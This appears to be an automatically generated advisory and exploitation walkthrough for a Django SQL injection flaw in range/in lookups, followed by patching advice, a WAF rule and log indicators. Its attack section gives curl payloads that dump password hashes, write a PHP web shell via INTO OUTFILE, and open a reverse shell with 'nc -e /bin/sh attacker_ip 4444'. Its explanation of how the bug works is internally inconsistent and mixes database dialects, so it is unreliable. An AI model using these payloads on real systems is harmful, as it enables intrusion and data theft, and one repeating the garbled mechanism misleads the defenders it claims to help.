CVE-2026-132092 — Djangoproject Django (6.1.4) — CWE-89
An issue was discovered in Django 6.1 before 6.1.4, 6.0 before 6.0.11, and 5.2 before 5.2.20. The `range` and `in` lookups are subject to SQL injection in a query involving aliases or key transforms containing percent signs. Earlier, unsupported Django series (such as 5.1.x, 5.0.x, and 4.2.x) were not evaluated and may also be affected. Django would like to thank Cristian Panaro for reporting this issue.
An issue was discovered in Django 6.1 before 6.1.4, 6.0 before 6.0.11, and 5.2 before 5.2.20. The `range` and `in` lookups are subject to SQL injection in a query involving aliases or key transforms containing percent signs. Earlier, unsupported Django series (such as 5.1.x, 5.0.x, and 4.2.x) were not evaluated and may also be affected. Django would like to thank Cristian Panaro for reporting this issue.
🎯 What is this vulnerability?
CVE‑2026‑132092 – Django 6.1 < 6.1.4, 6.0 < 6.0.11, 5.2 < 5.2.20 – SQL‑Injection in range / in lookups when the field name (or its transform/alias) contains a percent sign (%).
| Attribute | Detail |
|---|---|
| CWE | CWE‑89: Improper Neutralization of Special Elements used in an SQL Command (SQL Injection) |
| CVSS 3.1 Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H – Network‑accessible, low attack complexity, no authentication, no user interaction, impacts all confidentiality, integrity and availability. |
| Root cause | Django’s ORM builds the final SQL string by interpolating the lookup name (e.g., range, in) together with the field identifier that may be an alias or a transformed column. When the identifier contains a literal % (percent sign) – which is legal in column aliases or in key‑transform expressions – the ORM incorrectly treats the % as a placeholder for parameter substitution before the query parameters are bound. The placeholder is left in the generated SQL string, and the subsequent parameter‑binding step does not escape the user‑supplied value that is later concatenated to the query. Consequently an attacker can inject arbitrary SQL fragments through the value supplied to a range or in lookup.
Why does the percent sign matter?
Django’s internal django.db.models.sql.compiler.SQLCompiler uses Python’s %‑formatting to inject the field name into the SQL template. The code path that sanitises field names assumes they never contain %. When an alias such as mycol%alias or a key‑transform like jsonfield__%s is present, the % is interpreted as a formatting operator, opening the door for injection.
Missing protection – The ORM does not validate or escape field identifiers that are derived from user‑controlled input (e.g., when a developer builds a queryset dynamically from request parameters). The vulnerability is therefore a classic SQL injection in the ORM layer, not in raw SQL strings.
⚡ Attack Chain
Below is a realistic, end‑to‑end exploitation scenario. All code snippets are illustrative – the exact URL, view name, or parameter name depends on the target application, but the mechanics are identical for any Django project that builds a queryset from user‑supplied data and uses range/in lookups on a field whose alias contains %.
1. Discovery & Reconnaissance
| Step | Action | Reasoning |
|---|---|---|
| a. Fingerprint Django version | Use common techniques (e.g., /.well-known/security.txt, X-Framework header, django-admin debug page, static file paths like /static/admin/css/base.css with version comment) or tools such as Wappalyzer / WhatWeb. | The CVE affects Django 5.2 ≥ 5.2.0 < 5.2.20, 6.0 ≥ 6.0.0 < 6.0.11, 6.1 ≥ 6.1.0 < 6.1.4. Knowing the exact version tells the attacker whether the target is vulnerable. |
| b. Locate a view that builds a queryset from request parameters | Look for typical “filter” endpoints (/search/, /api/items/, /products/) that accept query‑string parameters like price_min, price_max, ids, etc. | These endpoints often translate request data into ORM lookups (MyModel.objects.filter(price__range=(min,max)) or MyModel.objects.filter(id__in=id_list)). |
c. Identify a model/field that uses an alias or key‑transform containing % | Examine the source (if public) or infer from the database schema (e.g., a view that renames a column to user%id). In many projects developers create a database view or annotate a queryset with alias='some%col'. | The vulnerability only triggers when the *field identifier* contains a percent sign. |
2. Exploitation
Assume the vulnerable endpoint is:
GET /api/orders/?price_min=10&price_max=1000and the view builds the queryset like:
# vulnerable_view.py (simplified)
def order_list(request):
qs = Order.objects.all()
if 'price_min' in request.GET and 'price_max' in request.GET:
qs = qs.filter(price__range=(request.GET['price_min'],
request.GET['price_max']))
return JsonResponse(list(qs.values()))The developer also defined a database view that aliases the primary key:
CREATE VIEW order_view AS
SELECT id AS "order%id", price, customer_id FROM orders;and the Django model points to that view:
class Order(models.Model):
class Meta:
managed = False # because it maps to a DB view
db_table = 'order_view'Because the column alias is "order%id", the ORM will embed the identifier order%id into the SQL template for the range lookup.
2.1 Crafting the malicious payload
The attacker supplies a malicious price_max value that terminates the range clause and injects arbitrary SQL. The generated SQL (simplified) before parameter binding looks like:
SELECT "order%id", "price", "customer_id"
FROM "order_view"
WHERE ("order%id" BETWEEN %s AND %s)When the ORM formats the field name, the % in "order%id" is interpreted as a Python % placeholder, shifting the positional parameters. The attacker can therefore inject a second %s placeholder that will be bound to the attacker‑controlled value, but the extra % from the field name leaves an unbound placeholder that can be filled with any string the attacker controls via the price_max parameter.
PoC (curl) – illustrative endpoint /api/orders/:
curl -G "http://target.example.com/api/orders/" \
--data-urlencode "price_min=0" \
--data-urlencode "price_max=0 UNION SELECT 1, password, 1 FROM auth_user--"What happens internally
1. Django builds the SQL template with the field identifier "order%id" → the % is treated as a format specifier.
2. The price_max value (0 UNION SELECT …) is inserted into the second placeholder.
3. The final SQL that reaches the DB (after the buggy formatting) becomes:
SELECT "order%id", "price", "customer_id"
FROM "order_view"
WHERE ("order%id" BETWEEN 0 AND 0 UNION SELECT 1, password, 1 FROM auth_user--);If the database user has read access to auth_user, the query returns the password hashes of all Django admin users, effectively exfiltrating confidential data.
2.2 Full‑blown data exfiltration / RCE
If the DB user also has COPY or SELECT INTO OUTFILE privileges (common on PostgreSQL with COPY TO STDOUT or MySQL with SELECT … INTO OUTFILE), the attacker can write a web‑shell or arbitrary file to the filesystem:
curl -G "http://target.example.com/api/orders/" \
--data-urlencode "price_min=0" \
--data-urlencode "price_max=0 UNION SELECT 1, '<?php system($_GET[\"cmd\"]); ?>', 1 INTO OUTFILE '/var/www/html/shell.php'--"On a PostgreSQL backend, the equivalent would be:
COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php';After the file is written, the attacker can invoke the web‑shell:
curl "http://target.example.com/shell.php?cmd=id"Result: Remote Code Execution (RCE) with the privileges of the web‑server process.
3. Post‑exploitation
| Phase | Goal | Typical actions |
|---|---|---|
| Data extraction | Dump user tables, payment data, API keys. | Use additional UNION SELECT payloads to retrieve auth_user.password, settings.SECRET_KEY, etc. |
| Persistence | Plant a back‑door web‑shell or a scheduled task. | Write a PHP/ASP/Node web‑shell via SELECT … INTO OUTFILE or create a new admin user via INSERT INTO auth_user …. |
| Privilege escalation | Move from the web‑app DB user to OS root. | If the DB runs as a privileged OS user, leverage COPY ... PROGRAM (PostgreSQL 13+) to execute arbitrary commands, e.g., COPY (SELECT '') TO PROGRAM 'nc -e /bin/sh attacker_ip 4444'. |
| Lateral movement | Pivot to other services that share the same DB credentials. | Use stolen credentials to access internal APIs, other Django projects, or the underlying PostgreSQL server. |
🌍 Real World Impact
| CIA Triad | Impact (derived from CVSS vector) |
|---|---|
| Confidentiality (C:H) | An attacker can read *any* data the Django DB user can query – user passwords, personal data, business‑critical records. |
| Integrity (I:H) | The attacker can modify or delete rows, create rogue admin accounts, or write files to the web root, corrupting the application’s data and logic. |
| Availability (A:H) | By issuing massive UNION SELECT queries or DELETE FROM … statements, the attacker can exhaust DB resources or wipe tables, causing total service outage. |
Practical consequences
- Data breach – Exposure of GDPR‑protected personal data, PCI‑SS cardholder information, or proprietary business data.
- Regulatory fallout – Mandatory breach notification, fines, and loss of customer trust.
- Full system compromise – Ability to plant a persistent web‑shell leads to long‑term control of the host, potential lateral movement inside the network.
- Business disruption – Deleting or corrupting order tables can halt e‑commerce operations, causing revenue loss.
🛡️ Remediation & Mitigation
1. Patch the framework
| Affected series | Fixed in |
|---|---|
| Django 5.2.x | 5.2.20 |
| Django 6.0.x | 6.0.11 |
| Django 6.1.x | 6.1.4 |
Action: Upgrade every Django installation to at least the fixed version. The upgrade path is straightforward (pip install "Django>=6.1.4,<6.2" or the equivalent for the series you run). Verify the version after upgrade:
python -c "import django, sys; print(django.get_version())"2. Immediate work‑arounds (if patch cannot be applied instantly)
| Work‑around | How it mitigates |
|---|---|
Disallow % in field aliases / key‑transforms | Rename any database view columns, annotate() aliases, or Func transforms that contain %. For example, change "order%id" → "order_id" and update the model’s db_column attribute accordingly. |
| Validate and whitelist lookup fields | Do not build lookups directly from request parameters. Use an explicit mapping: <br>allowed_fields = {'price': 'price', 'id': 'id'}<br>field = allowed_fields.get(request.GET.get('field'))<br>Reject any value that is not in the whitelist. |
| Force parameterisation for raw SQL | If you must use extra(), raw(), or raw_sql in custom code, ensure you never interpolate field names; use django.db.models.expressions.Col or F objects instead. |
| Deploy a ModSecurity / WAF rule | Block suspicious range/in lookups that contain SQL control characters (UNION, SELECT, INSERT, COPY, --, /, /). Example rule (ModSecurity 3 syntax):
SecRule ARGS_GET|ARGS_POST "@rx (\bUNION\b|\bSELECT\b|\bINSERT\b|\bCOPY\b|\bINTO\b|\b--\b|\b/\*|\*/)" \
"id:400001,phase:2,deny,status:403,msg:'Potential SQLi via Django range/in lookup',log"| Restrict DB user privileges | Ensure the Django DB user has *least privilege*: read/write only to the tables required, no COPY TO PROGRAM, SELECT INTO OUTFILE, or SUPERUSER rights. This limits the impact of a successful injection. |
|---|---|
Enable Django’s DEBUG=False | Prevents accidental leakage of full SQL statements in error pages, which would otherwise give the attacker a clear view of the vulnerable query. |
3. Detection – what to look for in logs
| Log source | Indicator |
|---|---|
Web server access logs (e.g., Nginx access.log) | Requests to filter endpoints that contain suspicious SQL fragments in query parameters: <br>price_max=0 UNION SELECT <br>price_max=0; DROP TABLE |
Django error logs (django.request logger) | Stack traces mentioning range or in lookups combined with ProgrammingError or DatabaseError that include the raw query string. |
Database audit logs (PostgreSQL log_statement='all', MySQL general_log) | Queries that contain BETWEEN followed by UNION or SELECT … INTO OUTFILE. Example: <br>SELECT "order%id", "price" FROM "order_view" WHERE ("order%id" BETWEEN 0 AND 0 UNION SELECT …) |
| WAF alerts | Triggered ModSecurity rule 400001 (or any custom rule that matches SQL keywords in GET/POST parameters). |
File system monitoring (e.g., auditd, inotify) | Creation of new files in the web‑root (*.php, *.asp, *.jsp) that were not part of the deployment. |
Sample Nginx access line (malicious)
192.0.2.45 - - [02/Dec/2026:14:23:11 +0000] "GET /api/orders/?price_min=0&price_max=0%20UNION%20SELECT%201,%20password,%201%20FROM%20auth_user-- HTTP/1.1" 200 342 "-" "Mozilla/5.0"Sample PostgreSQL log line (injected query)
2026-12-02 14:23:11.123 UTC [12345] LOG: statement: SELECT "order%id", "price", "customer_id" FROM "order_view" WHERE ("order%id" BETWEEN 0 AND 0 UNION SELECT 1, password, 1 FROM auth_user--);⚠️ Urgency
% and a range/in lookup) are common in projects that use database views or annotate queries. If you run any of the affected Django versions in production, schedule the upgrade within the next 24 hours and apply at least one of the mitigations (alias rename or strict whitelist) until the upgrade is complete.*
Delaying remediation leaves the system exposed to full data breach, integrity compromise, and potential remote code execution.
Bottom line: The flaw is a framework‑level SQL injection caused by unsafe handling of percent signs in field identifiers during
range/in lookups. Upgrading Django to the fixed releases eliminates the bug; until then, rename offending aliases, enforce strict input whitelisting, tighten DB privileges, and monitor for the described log patterns.[🤖 CVE Professor AI Security Engine]
FOFA Query